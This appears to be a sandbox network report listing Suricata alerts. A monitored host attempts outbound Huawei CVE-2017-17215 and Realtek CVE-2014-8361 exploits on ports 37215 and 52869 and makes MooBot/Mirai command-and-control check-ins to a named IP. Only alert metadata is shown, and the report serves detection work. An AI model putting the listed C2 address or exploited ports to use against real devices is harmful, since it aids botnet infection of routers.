ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.43.62.172

Timestamp:	07/20/24-23:01:14.416273
SID:	2829579
Source Port:	34880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 97.182.119.204

Timestamp:	07/20/24-23:01:13.333328
SID:	2831300
Source Port:	60930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.22.29.48

Timestamp:	07/20/24-23:01:14.401421
SID:	2835222
Source Port:	38152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 34.155.160.150

Timestamp:	07/20/24-23:01:19.221647
SID:	2829579
Source Port:	39246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 167.31.141.74

Timestamp:	07/20/24-23:01:29.170361
SID:	2027339
Source Port:	52180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.96.252.185

Timestamp:	07/20/24-23:01:19.227537
SID:	2829579
Source Port:	52734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 59.126.120.18

Timestamp:	07/20/24-23:01:05.800883
SID:	2027339
Source Port:	59306
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.150.55.229

Timestamp:	07/20/24-23:01:05.892501
SID:	2829579
Source Port:	38372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.91.139.227

Timestamp:	07/20/24-23:01:25.290247
SID:	2835222
Source Port:	51894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 79.118.207.216

Timestamp:	07/20/24-23:01:34.980138
SID:	2831300
Source Port:	60208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 34.37.107.29

Timestamp:	07/20/24-23:01:13.328619
SID:	2831300
Source Port:	35474
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.130.49.5

Timestamp:	07/20/24-23:01:22.804406
SID:	2829579
Source Port:	38786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 194.152.67.254

Timestamp:	07/20/24-23:01:23.029917
SID:	2027339
Source Port:	51184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 149.3.41.152

Timestamp:	07/20/24-23:01:06.876426
SID:	2025132
Source Port:	58326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.225.217.25

Timestamp:	07/20/24-23:01:37.160288
SID:	2835222
Source Port:	33210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 187.235.69.197

Timestamp:	07/20/24-23:01:06.187826
SID:	2025132
Source Port:	60916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 14.68.225.116

Timestamp:	07/20/24-23:01:13.333076
SID:	2831300
Source Port:	34692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.188.32.205

Timestamp:	07/20/24-23:01:02.408596
SID:	2829579
Source Port:	51150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 81.216.201.21

Timestamp:	07/20/24-23:01:02.414851
SID:	2835222
Source Port:	46822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 43.85.108.87

Timestamp:	07/20/24-23:01:34.682196
SID:	2027339
Source Port:	49740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.203.119.152

Timestamp:	07/20/24-23:01:02.411076
SID:	2835222
Source Port:	45474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.199.235.176

Timestamp:	07/20/24-23:01:14.472855
SID:	2829579
Source Port:	60162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.32.122.10

Timestamp:	07/20/24-23:01:33.461265
SID:	2027339
Source Port:	55798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.127.134.5

Timestamp:	07/20/24-23:01:14.440842
SID:	2835222
Source Port:	58900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.151.140.35

Timestamp:	07/20/24-23:01:37.121494
SID:	2835222
Source Port:	33716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.179.75.211

Timestamp:	07/20/24-23:01:05.905239
SID:	2829579
Source Port:	41204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 197.75.140.61

Timestamp:	07/20/24-23:01:34.929652
SID:	2027339
Source Port:	51830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.108.209.166

Timestamp:	07/20/24-23:01:14.401421
SID:	2835222
Source Port:	49138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 84.149.17.30

Timestamp:	07/20/24-23:01:29.524980
SID:	2027339
Source Port:	39978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.78.32.167

Timestamp:	07/20/24-23:01:02.405622
SID:	2829579
Source Port:	47230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.158.252.136

Timestamp:	07/20/24-23:01:11.459583
SID:	2829579
Source Port:	45740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.161.8.250

Timestamp:	07/20/24-23:01:14.397066
SID:	2835222
Source Port:	56532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 170.133.86.186

Timestamp:	07/20/24-23:01:23.051335
SID:	2027339
Source Port:	32834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.44.21.237

Timestamp:	07/20/24-23:01:07.674222
SID:	2835222
Source Port:	53470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.18.5.168

Timestamp:	07/20/24-23:01:22.801376
SID:	2835222
Source Port:	59654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 162.152.158.39

Timestamp:	07/20/24-23:01:25.288605
SID:	2829579
Source Port:	35508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 13.188.216.17

Timestamp:	07/20/24-23:01:05.636428
SID:	2027339
Source Port:	46748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 157.159.16.125

Timestamp:	07/20/24-23:01:05.838157
SID:	2025132
Source Port:	41912
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.216.160.162

Timestamp:	07/20/24-23:01:14.407391
SID:	2835222
Source Port:	44752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.213.218.227

Timestamp:	07/20/24-23:01:14.444926
SID:	2829579
Source Port:	51074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 81.201.211.116

Timestamp:	07/20/24-23:01:34.932468
SID:	2027339
Source Port:	44548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.10.15.208

Timestamp:	07/20/24-23:01:02.418173
SID:	2829579
Source Port:	56210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 109.148.201.214

Timestamp:	07/20/24-23:01:29.169710
SID:	2027339
Source Port:	41784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.83.248.176

Timestamp:	2024-07-20T23:01:23.185219+0200
SID:	2835222
Source Port:	42134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.122.35.63

Timestamp:	2024-07-20T23:01:11.492053+0200
SID:	2835222
Source Port:	34748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.93.5.254

Timestamp:	2024-07-20T23:01:14.448432+0200
SID:	2835222
Source Port:	35772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.51.88.55

Timestamp:	2024-07-20T23:01:22.736587+0200
SID:	2835222
Source Port:	51446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 113.163.100.190

Timestamp:	2024-07-20T23:01:23.879911+0200
SID:	2835222
Source Port:	34686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 178.57.58.147

Timestamp:	2024-07-20T23:01:25.876694+0200
SID:	2027339
Source Port:	59942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.193.13.42

Timestamp:	2024-07-20T23:01:14.481896+0200
SID:	2835222
Source Port:	56822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.4.62.49

Timestamp:	2024-07-20T23:01:11.471112+0200
SID:	2835222
Source Port:	49566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.173.235.55

Timestamp:	2024-07-20T23:01:23.184593+0200
SID:	2835222
Source Port:	58628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.171.155.202

Timestamp:	2024-07-20T23:01:26.005187+0200
SID:	2835222
Source Port:	43466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.11.29.10

Timestamp:	2024-07-20T23:01:24.314355+0200
SID:	2835222
Source Port:	44176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.157.157.252

Timestamp:	2024-07-20T23:01:07.683360+0200
SID:	2835222
Source Port:	35926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:01:25.970398+0200
SID:	2030490
Source Port:	45718
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.193.7.72

Timestamp:	2024-07-20T23:01:26.420623+0200
SID:	2835222
Source Port:	47722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 24.132.91.59

Timestamp:	2024-07-20T23:01:23.529310+0200
SID:	2835222
Source Port:	45886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:01:07.358869+0200
SID:	2030490
Source Port:	40048
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 181.36.87.26

Timestamp:	2024-07-20T23:01:02.440540+0200
SID:	2835222
Source Port:	52714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 218.209.252.220

Timestamp:	2024-07-20T23:01:11.462788+0200
SID:	2835222
Source Port:	32960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.24.155.216

Timestamp:	2024-07-20T23:01:05.927305+0200
SID:	2835222
Source Port:	33288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 34.37.107.29

Timestamp:	2024-07-20T23:01:05.292589+0200
SID:	2027339
Source Port:	34388
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.206.191.212

Timestamp:	2024-07-20T23:01:23.184311+0200
SID:	2835222
Source Port:	54264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.221.83.254

Timestamp:	2024-07-20T23:01:25.901058+0200
SID:	2835222
Source Port:	41162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.68.139.198

Timestamp:	2024-07-20T23:01:11.477131+0200
SID:	2835222
Source Port:	35134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.42.111.185

Timestamp:	2024-07-20T23:01:11.470656+0200
SID:	2835222
Source Port:	34128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 68.79.78.213

Timestamp:	2024-07-20T23:01:11.483526+0200
SID:	2835222
Source Port:	60574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.71.253.214

Timestamp:	2024-07-20T23:01:23.644036+0200
SID:	2835222
Source Port:	35696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.92.6.120

Timestamp:	2024-07-20T23:01:11.492053+0200
SID:	2835222
Source Port:	53330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.221.41.23

Timestamp:	2024-07-20T23:01:26.005824+0200
SID:	2835222
Source Port:	42420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 196.41.223.61

Timestamp:	2024-07-20T23:01:19.334401+0200
SID:	2835222
Source Port:	36282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.232.153

Timestamp:	2024-07-20T23:01:19.334151+0200
SID:	2835222
Source Port:	52086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.200.108

Timestamp:	2024-07-20T23:01:11.491938+0200
SID:	2835222
Source Port:	37698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:01:17.542102+0200
SID:	2030490
Source Port:	42936
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 134.76.14.241

Timestamp:	2024-07-20T23:01:24.425294+0200
SID:	2027339
Source Port:	47368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:01:04.148478+0200
SID:	2030490
Source Port:	38412
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.134.165.127

Timestamp:	2024-07-20T23:01:26.587098+0200
SID:	2027339
Source Port:	36622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.136.163.60

Timestamp:	2024-07-20T23:01:23.184174+0200
SID:	2835222
Source Port:	38814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.33.138.117

Timestamp:	2024-07-20T23:01:11.498902+0200
SID:	2835222
Source Port:	54276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.142.158

Timestamp:	2024-07-20T23:01:14.457702+0200
SID:	2835222
Source Port:	41518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.201.136.184

Timestamp:	2024-07-20T23:01:26.005440+0200
SID:	2835222
Source Port:	54748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 60.162.189.105

Timestamp:	2024-07-20T23:01:04.419833+0200
SID:	2835222
Source Port:	50544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.69.237.0

Timestamp:	2024-07-20T23:01:24.407403+0200
SID:	2027339
Source Port:	54374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 81.10.137.209

Timestamp:	2024-07-20T23:01:23.184073+0200
SID:	2835222
Source Port:	47124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 130.69.123.40

Timestamp:	2024-07-20T23:01:24.428774+0200
SID:	2027339
Source Port:	33754
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.90.150.101

Timestamp:	2024-07-20T23:01:11.470656+0200
SID:	2835222
Source Port:	45242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.42.235.139

Timestamp:	2024-07-20T23:01:14.473077+0200
SID:	2835222
Source Port:	44444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.80.3.152

Timestamp:	2024-07-20T23:01:11.471715+0200
SID:	2835222
Source Port:	52674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.244.153.19

Timestamp:	2024-07-20T23:01:11.492053+0200
SID:	2835222
Source Port:	34266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.195.94.179

Timestamp:	2024-07-20T23:01:22.736716+0200
SID:	2835222
Source Port:	46634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 63.230.59.42

Timestamp:	2024-07-20T23:01:19.334468+0200
SID:	2835222
Source Port:	57468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:01:24.710414+0200
SID:	2030490
Source Port:	45116
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.161.95.63

Timestamp:	2024-07-20T23:01:19.333902+0200
SID:	2835222
Source Port:	56068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.200.137.216

Timestamp:	2024-07-20T23:01:26.005057+0200
SID:	2835222
Source Port:	36742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 211.150.3.47

Timestamp:	2024-07-20T23:01:05.949875+0200
SID:	2835222
Source Port:	45310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.145.245.15

Timestamp:	2024-07-20T23:01:19.333734+0200
SID:	2835222
Source Port:	59928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.195.213.197

Timestamp:	2024-07-20T23:01:22.736743+0200
SID:	2835222
Source Port:	40756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 19.249.253.104

Timestamp:	2024-07-20T23:01:19.333758+0200
SID:	2835222
Source Port:	57664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

